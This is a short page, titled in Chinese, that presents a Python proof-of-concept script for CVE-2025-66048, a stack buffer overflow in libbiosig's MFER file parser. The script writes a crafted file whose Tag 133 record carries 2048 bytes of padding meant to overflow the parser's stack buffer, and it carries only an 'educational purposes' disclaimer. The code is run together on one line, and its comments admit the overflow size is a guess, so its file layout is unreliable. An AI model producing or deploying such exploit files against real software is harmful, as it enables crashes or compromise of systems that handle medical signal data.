CVE-2025-66048 libbiosig MFER解析栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-66048 PoC - MFER File with Tag 133 Stack Buffer Overflow This PoC generates a malicious MFER file that triggers stack-based buffer overflow when parsed by libbiosig 3.9.1. WARNING: For educational and research purposes only. """ import struct import sys def create_malicious_mfer(): """Generate a malicious MFER file with oversized Tag 133 data""" # MFER file header header = b'MFER' # MFER magic bytes # Version field version = struct.pack('<I', 1) # Create a record with Tag 133 and oversized data tag_133 = 133 # Craft oversized data to trigger stack buffer overflow # The data size exceeds the stack buffer capacity overflow_size = 2048 # Size likely to overflow typical stack buffers overflow_data = b'A' * overflow_size # MFER record structure: [Tag(4 bytes)][Length(4 bytes)][Data] record = struct.pack('<I', tag_133) record += struct.pack('<I', len(overflow_data)) record += overflow_data # Combine all parts mfer_content = header + version + record return mfer_content def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.mfer>") print("Generating malicious MFER file for CVE-2025-66048...") output_file = "exploit_CVE-2025-66048.mfer" else: output_file = sys.argv[1] malicious_content = create_malicious_mfer() with open(output_file, 'wb') as f: f.write(malicious_content) print(f"Malicious MFER file created: {output_file}") print(f"File size: {len(malicious_content)} bytes") print(f"Overflow data size: 2048 bytes") print("\nThis file can trigger stack buffer overflow when parsed by libbiosig 3.9.1") if __name__ == "__main__": main()